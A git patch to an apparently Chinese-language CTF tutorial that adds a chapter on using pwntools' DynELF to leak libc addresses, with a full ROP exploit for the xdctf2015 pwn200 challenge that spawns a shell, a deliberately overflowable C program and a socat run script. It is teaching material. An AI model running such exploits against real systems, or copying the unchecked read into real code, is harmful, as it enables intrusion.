From 00cb4b656049a4d5f5d98b6dfbd1356e0da88637 Mon Sep 17 00:00:00 2001 From: firmianay Date: Thu, 16 Nov 2017 15:38:39 +0800 Subject: [PATCH] finish 4.8 --- doc/4.8_dynelf.md | 238 ++++++++++++++++++ doc/6.3_pwn_xdctf2015_pwn200.md | 10 +- .../exp_use_dynelf.py | 47 ++++ src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200 | Bin 0 -> 5524 bytes src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200.c | 19 ++ src/writeup/6.3_pwn_xdctf2015_pwn200/run.sh | 1 + 6 files changed, 311 insertions(+), 4 deletions(-) create mode 100644 src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_dynelf.py create mode 100755 src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200 create mode 100644 src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200.c create mode 100755 src/writeup/6.3_pwn_xdctf2015_pwn200/run.sh diff --git a/doc/4.8_dynelf.md b/doc/4.8_dynelf.md index 87eccba..301edbb 100644 --- a/doc/4.8_dynelf.md +++ b/doc/4.8_dynelf.md @@ -1,8 +1,246 @@ # 4.8 使用 DynELF 泄露函数地址 +- [DynELF 简介](#dynelf-简介) +- [DynELF 原理](#dynelf-原理) +- [DynELF 实例](#dynelf-实例) - [参考资料](#参考资料) +## DynELF 简介 +在做漏洞利用时,由于 ASLR 的影响,我们在获取某些函数地址的时候,需要一些特殊的操作。一种方法是先泄露出 libc.so 中的某个函数,然后根据函数之间的偏移,计算得到我们需要的函数地址,这种方法的局限性在于我们需要能找到和目标服务器上一样的 libc.so,而有些特殊情况下往往并不能找到。而另一种方法,利用如 pwntools 的 DynELF 模块,对内存进行搜索,直接得到我们需要的函数地址。 + +官方文档里给出了下面的例子: +```python +# Assume a process or remote connection +p = process('./pwnme') + +# Declare a function that takes a single address, and +# leaks at least one byte at that address. +def leak(address): + data = p.read(address, 4) + log.debug("%#x => %s" % (address, (data or '').encode('hex'))) + return data + +# For the sake of this example, let's say that we +# have any of these pointers. One is a pointer into +# the target binary, the other two are pointers into libc +main = 0xfeedf4ce +libc = 0xdeadb000 +system = 0xdeadbeef + +# With our leaker, and a pointer into our target binary, +# we can resolve the address of anything. +# +# We do not actually need to have a copy of the target +# binary for this to work. +d = DynELF(leak, main) +assert d.lookup(None, 'libc') == libc +assert d.lookup('system', 'libc') == system + +# However, if we *do* have a copy of the target binary, +# we can speed up some of the steps. +d = DynELF(leak, main, elf=ELF('./pwnme')) +assert d.lookup(None, 'libc') == libc +assert d.lookup('system', 'libc') == system + +# Alternately, we can resolve symbols inside another library, +# given a pointer into it. +d = DynELF(leak, libc + 0x1234) +assert d.lookup('system') == system +``` +可以看到,为了使用 DynELF,首先需要有一个 `leak(address)` 函数,通过这一函数可以获取到某个地址上最少 1 byte 的数据,然后将这个函数作为参数调用 `d = DynELF(leak, main)`,该模块就初始化完成了,然后就可以使用它提供的函数进行内存搜索,得到我们需要的函数地址。 + +类 DynELF 的初始化方法如下: +```python +def __init__(self, leak, pointer=None, elf=None, libcdb=True): +``` +- `leak`:leak 函数,它是一个 `pwnlib.memleak.MemLeak` 类的实例 +- `pointer`:一个指向 libc 内任意地址的指针 +- `elf`:elf 文件 +- `libcdb`:libcdb 是一个作者收集的 libc 库,默认启用以加快搜索。 + +导出的类方法如下: +- `base()`:解析所有已加载库的基地址 +- `static find_base(leak, ptr)`:提供一个 `pwnlib.memleak.MemLeak`对象和一个指向库内的指针,然后找到其基地址 +- `heap()`:通过 `__curbrk`(链接器导出符号,指向当前brk)找到堆的起始地址 +- `lookup(symb=None, lib=None)`:找到 lib 中 symbol 的地址 +- `stack()`:通过 `__environ`(libc导出符号,指向environment block)找到一个指向栈的指针 +- `dynamic()`:返回指向 `.DYNAMIC` 的指针 +- `elfclass`:32 或 64 位 +- `elftype`:elf 文件类型 +- `libc`:泄露 build id,下载该文件并加载 +- `link_map`:指向运行时 link_map 对象的指针 + + +## DynELF 原理 +文档中大概说了下其实现的细节,配合参考资料的文章,大概就可以做到自己实现一个。 + +DynELF 使用了两种技术: +- 解析函数 + - ELF 文件会从如 libc.so 库中导入符号,有一系列的表给出了导出符号名、导出符号地址和导出符号的哈希值。通过对某个符号名做哈希,可以定位到哈希表中,然后哈希表的位置又提供了字符串表(strtab)和符号表(symtab)的索引。 + - 假设我们有了 libc.so 的基地址,解析 printf 地址的方法是定位 symtab、strtab 和 hash 表。对字符串"printf"做哈希,然后定位到哈希表中的某一条,然后从 symtab 中得到其在 libc.so 的偏移。 +- 解析库地址 + - 如果我们有一个指向动态链接的可执行文件的指针,就可以利用一二称为 link map 的内部链接器结构。这是一个链表结构,包含了每个被加载的库的信息,包括完整路径和基地址。 + - 有两种方法可以找到这个指向 link map 的指针。两者都是从 DYNAMIC 数组条目中得到的。 + - 在 non-RELOAD 的二进制文件中,该指针在 `.got.plt` 区域中。这是通过 `DT_PLTGOT` 找到的。 + - 在所有二进制文件中,可以在 `DT_DEBUG` 描述的区域中找到该指针,甚至在 stripped 之后也不例外。 + + +## DynELF 实例 +在 libc 中,我们通常使用 `write`、`puts`、`printf` 来打印指定内存的数据。 + +#### write +```C +#include + +ssize_t write(int fd, const void *buf, size_t count); +``` +write 函数用于向文件描述符中写入数据,三个参数分别是文件描述符,一个指针指向的数据和写入数据的长度。该函数的有点是可以读取任意长度的内存数据,即打印数据的长度只由 count 控制,缺点则是需要传递 3 个参数。32 位程序通过栈传递参数,直接将参数布置在栈上就可以了,而 64 位程序首先使用寄存器传递参数,所以我们通常使用通用 gadget(参见章节4.7) 来为 write 函数传递参数。 + +例子是 xdctf2015-pwn200,[文件地址](../src/writeup/6.2_pwn_xdctf2015_pwn200)。在这个程序中也只有 write 可以利用: +``` +$ rabin2 -R pwn200 +... +vaddr=0x0804a004 paddr=0x00001004 type=SET_32 read +vaddr=0x0804a010 paddr=0x00001010 type=SET_32 write +``` +另外我们还需要 read 函数用于读入 '/bin/sh` 到 .bss 段中: +``` +$ readelf -S pwn200 | grep .bss + [25] .bss NOBITS 0804a020 00101c 00002c 00 WA 0 0 32 +``` +栈溢出漏洞很明显,偏移为 112: +``` +gdb-peda$ pattern_offset 0x41384141 +1094205761 found at offset: 112 +``` +在 r2 中对程序进行分析,发现一个漏洞函数,地址为 `0x08048484`: +``` +[0x080483d0]> pdf @ sub.setbuf_484 +/ (fcn) sub.setbuf_484 58 +| sub.setbuf_484 (); +| ; var int local_6ch @ ebp-0x6c +| ; var int local_4h @ esp+0x4 +| ; var int local_8h @ esp+0x8 +| ; CALL XREF from 0x0804855f (main) +| 0x08048484 55 push ebp +| 0x08048485 89e5 mov ebp, esp +| 0x08048487 81ec88000000 sub esp, 0x88 +| 0x0804848d a120a00408 mov eax, dword [obj.stdin] ; [0x804a020:4]=0 +| 0x08048492 8d5594 lea edx, [local_6ch] +| 0x08048495 89542404 mov dword [local_4h], edx +| 0x08048499 890424 mov dword [esp], eax +| 0x0804849c e8dffeffff call sym.imp.setbuf ; void setbuf(FILE *stream, +| 0x080484a1 c74424080001. mov dword [local_8h], 0x100 ; [0x100:4]=-1 ; 256 +| 0x080484a9 8d4594 lea eax, [local_6ch] +| 0x080484ac 89442404 mov dword [local_4h], eax +| 0x080484b0 c70424000000. mov dword [esp], 0 +| 0x080484b7 e8d4feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| 0x080484bc c9 leave +\ 0x080484bd c3 ret +``` +于是我们构造 leak 函数如下,即 `write(1, addr, 4)`: +```python +def leak(addr): + payload = "A" * 112 + payload += p32(write_plt) + payload += p32(vuln_addr) + payload += p32(1) + payload += p32(addr) + payload += p32(4) + io.send(payload) + data = io.recv() + log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex'))) + return data + +d = DynELF(leak, elf=elf) +system_addr = d.lookup('system', 'libc') +log.info("system address: 0x%x" % system_addr) +``` +注意我们需要一个 pppr 的 gadget 来平衡栈: +``` +$ ropgadget --binary pwn200 --only "pop|ret" +... +0x0804856c : pop ebx ; pop edi ; pop ebp ; ret +``` +得到了 system 的地址,就可以利用 read 函数读入 "/bin/sh",从而得到 shell,完整的 exp 如下: +```python +from pwn import * + +# context.log_level = 'debug' + +elf = ELF('./pwn200') +io = process('./pwn200') +io.recvline() + +write_plt = elf.plt['write'] +write_got = elf.got['write'] +read_plt = elf.plt['read'] +read_got = elf.got['read'] + +vuln_addr = 0x08048484 +start_addr = 0x080483d0 +bss_addr = 0x0804a020 +pppr_addr = 0x0804856c + +def leak(addr): + payload = "A" * 112 + payload += p32(write_plt) + payload += p32(vuln_addr) + payload += p32(1) + payload += p32(addr) + payload += p32(4) + io.send(payload) + data = io.recv() + log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex'))) + return data +d = DynELF(leak, elf=elf) +system_addr = d.lookup('system', 'libc') +log.info("system address: 0x%x" % system_addr) + +payload = "A" * 112 +payload += p32(read_plt) +payload += p32(pppr_addr) +payload += p32(0) +payload += p32(bss_addr) +payload += p32(8) +payload += p32(system_addr) +payload += p32(vuln_addr) +payload += p32(bss_addr) + +io.send(payload) +io.send('/bin/sh\x00') +io.interactive() +``` +该题除了这里使用 DynELF 的方法,在后面章节 6.3 中,还会介绍一种使用 ret2dl-resolve 的解法。 + +#### puts +```C +#include + +int puts(const char *s); +``` +puts 函数使用的参数只有一个,即需要输出的数据的起始地址,它会一直输出直到遇到 `\x00`,所以它输出的数据长度是不容易控制的,我们无法预料到零字符会出现在哪里,截止后,puts 还会自动在末尾加上换行符 `\n`。该函数的优点是在 64 位程序中也可以很方便地使用。缺点是会受到零字符截断的影响,在写 leak 函数时需要特殊处理,在打印出的数据中正确地筛选我们需要的部分,如果打印处了空字符串,则要手动赋值`\x00`,包括我们在 dump 内存的时候,也常常收这个问题的困扰,可以参考章节 6.1 dump 内存的部分。 + +所以我们常常需要这样做: +```python +data = io.recv()[:-1] # 去掉末尾\n +if not data: + data = '\x00' +else: + data = data[:4] +``` +这只是个例子,还是要具体情况具体分析。 + +#### printf +```C +#include + +int printf(const char *format, ...); +``` +该函数常用于在格式化字符串中泄露内存,和 puts 差不多,也受到 `\x00` 的影响,只是没有在末尾自动添加 `\n`。而且还有个问题要注意,为了防止 printf 的 `%s` 被 `\x00` 截断,需要对格式化字符串做一些改变。更详细的内容请参考章节 6.2。 + + ## 参考资料 - [Resolving remote functions using leaks](https://docs.pwntools.com/en/stable/dynelf.html) - [Finding Function's Load Address](http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html) diff --git a/doc/6.3_pwn_xdctf2015_pwn200.md b/doc/6.3_pwn_xdctf2015_pwn200.md index 7b2fb0d..60aff76 100644 --- a/doc/6.3_pwn_xdctf2015_pwn200.md +++ b/doc/6.3_pwn_xdctf2015_pwn200.md @@ -31,24 +31,26 @@ int main() ``` 使用下面的语句编译: ``` -$ gcc -m32 -fno-stack-protector pwn200.c +$ gcc -m32 -fno-stack-protector -s pwn200.c ``` checksec 如下: ``` -$ checksec -f a.out +$ checksec -f a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE -Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 2 a.out +Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 1 a.out ``` 在开启 ASLR 的情况下把程序运行起来: ``` $ socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & ``` -这题提供了二进制文件而没有提供 libc.so,而且也默认找不到,所以只能依靠 DynELF 来做。 +这题提供了二进制文件而没有提供 libc.so,而且也默认找不到,在章节 4.8 中我们提供了一种解法,这里我们讲解另一种。 ## ret2dl-resolve 原理及题目解析 ## Exploit +完整的 exp 如下,其他文件放在了[github](../src/writeup/6.2_pwn_xdctf2015_pwn200)相应文件夹中: + ## 参考资料 - [Return-to-dl-resolve](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/) diff --git a/src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_dynelf.py b/src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_dynelf.py new file mode 100644 index 0000000..7bfb640 --- /dev/null +++ b/src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_dynelf.py @@ -0,0 +1,47 @@ +from pwn import * + +# context.log_level = 'debug' + +elf = ELF('./pwn200') +io = process('./pwn200') +io.recvline() + +write_plt = elf.plt['write'] +write_got = elf.got['write'] +read_plt = elf.plt['read'] +read_got = elf.got['read'] + +vuln_addr = 0x08048484 +start_addr = 0x080483d0 +bss_addr = 0x0804a020 +pppr_addr = 0x0804856c + +def leak(addr): + payload = "A" * 112 + payload += p32(write_plt) + payload += p32(vuln_addr) + payload += p32(1) + payload += p32(addr) + payload += p32(4) + io.send(payload) + data = io.recv() + log.info("leaking: 0x%x --> %s" % (addr, (data or '').encode('hex'))) + return data + +d = DynELF(leak, elf=elf) +system_addr = d.lookup('system', 'libc') +log.info("system address: 0x%x" % system_addr) + +payload = "A" * 112 +payload += p32(read_plt) +payload += p32(pppr_addr) +payload += p32(0) +payload += p32(bss_addr) +payload += p32(8) +payload += p32(system_addr) +payload += p32(vuln_addr) +payload += p32(bss_addr) + +io.send(payload) +io.send('/bin/sh\x00') +io.interactive() \ No newline at end of file diff --git a/src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200 b/src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200 new file mode 100755 index 0000000000000000000000000000000000000000..e87402176dabf2378410a8980fc67f97ce263cd1 GIT binary patch literal 5524 zcmeHLZ){Ul6u<4>r06J9XPi>a!xY_cbblOX2+9g`2rekFiE&El){a-RwoCh}s6-f# z0d>~w12KLuk*V>6ENC z5F?+4O=g@m$Qtk(YLgpalV$Aw@AN=D!1enT2YD4@WEtOtILyD1%)c4&{QjnZBy&9P zud*}LR@oU?))|TH7_oFz8&Fc#2457G2Q1An4)%0&F#Xs z{yumEp@=UL4+ey#idfKZsnLWk;z7MF(SZaUlS>fxha%$fSV#|wbxrHnto7A+s!-8x ztqor7m?f?g8~!*Mazctjp#{V}1RrS{>*q2|EPE|<2%A^JZ|QkF&4`V7czm(7*bjvNvHIiMe6-qh(~^7sL3FBd)ArHyF&KRib5$Q#vm8xJNcnCq_@fKN`Cp{(d6l0M~#dPtvQIw zwaDF+@nd90#Sm*iDtNxt_ei>B>jPUdA%wfrPhrm(Q?A}lcU9^*ahW%MM=gVD`N&Dr z-ecG6LF>%%yaV;tOo0 z?U2IhXml2BSa^l5>=di7U%9l#eG}vL;33q!15$XMjvo7(1%;2DLKY#oO16W)Li{br znfPu)IZ$8^r@bRy08g=ZExs!$rKFD666=3^ z5oA5i#yCU>7tT9BUo@iwIAiiWrtQU90&)!Y<&XjJ6=1#-TmvTYz3Cj@xcI(M2Ie~u zkJ#6OOOe+)ZbS0SRSM>tDGvj9orsPjKYEI?mubjPU_<@S#51!Tv>&ye2fqeB1|9~> z*t)fA?@-HH+7b~xQP~uV_+wGE)^oe(wq?}`%elNfYYX9tYjHiM``d&k6w!mRF5!tp z^`OVQX8khVzawYuh$K91i4cy)p@8tv()@8vcmhvE;!lLLQjcXLj|F4#P&6{j@F5lp zb`qaex;k|h4B@H=cjDRs1EFZZult23sQEf#{&3Kz1u#-t!qcutV{w$ribvZKL`r`+ z)Q)mdq`}2w<<915iv!&r4TpmfT~5xwkbL%hR(#ghw-6Y7o{|_N(Z@49an?5r1XSpf zRi*~P*mvobzzD}!Slhy z39d^t!95}K@gBHX<6w#79x4T{EQjNMmAGBd*(>XC57z_dfi8(S(&J!>>jJI|xa|z& zh;u^hUa-XRd)X*(O;)p6AaSIFV2R^zh6@ewdx<1j_c=I-V~RT9>VTWsjPOa^^LaSy z8y0Y@;FBbAufieo?Lxj?z)eXIq{JP~;n05en;X8ZU8?Roc{m>aUH^c4KM%)4z8g4M z3!xePBy_Z7tu5*Gyj`AM>Bd!|^xv9B?Xpl87Pmd?xdi z;J9Cc2X(3Y{R%kxS(jfXT)=T3Nm6slH;~L%m9vRkn$sy5lgwO_8iC7y9>kFT00Nc2 AY5)KL literal 0 HcmV?d00001 diff --git a/src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200.c b/src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200.c new file mode 100644 index 0000000..9df5a49 --- /dev/null +++ b/src/writeup/6.3_pwn_xdctf2015_pwn200/pwn200.c @@ -0,0 +1,19 @@ +#include +#include +#include + +void vuln() +{ + char buf[100]; + setbuf(stdin, buf); + read(0, buf, 256); +} +int main() +{ + char buf[100] = "Welcome to XDCTF2015~!\n"; + + setbuf(stdout, buf); + write(1, buf, strlen(buf)); + vuln(); + return 0; +} diff --git a/src/writeup/6.3_pwn_xdctf2015_pwn200/run.sh b/src/writeup/6.3_pwn_xdctf2015_pwn200/run.sh new file mode 100755 index 0000000..cd4605d --- /dev/null +++ b/src/writeup/6.3_pwn_xdctf2015_pwn200/run.sh @@ -0,0 +1 @@ +socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &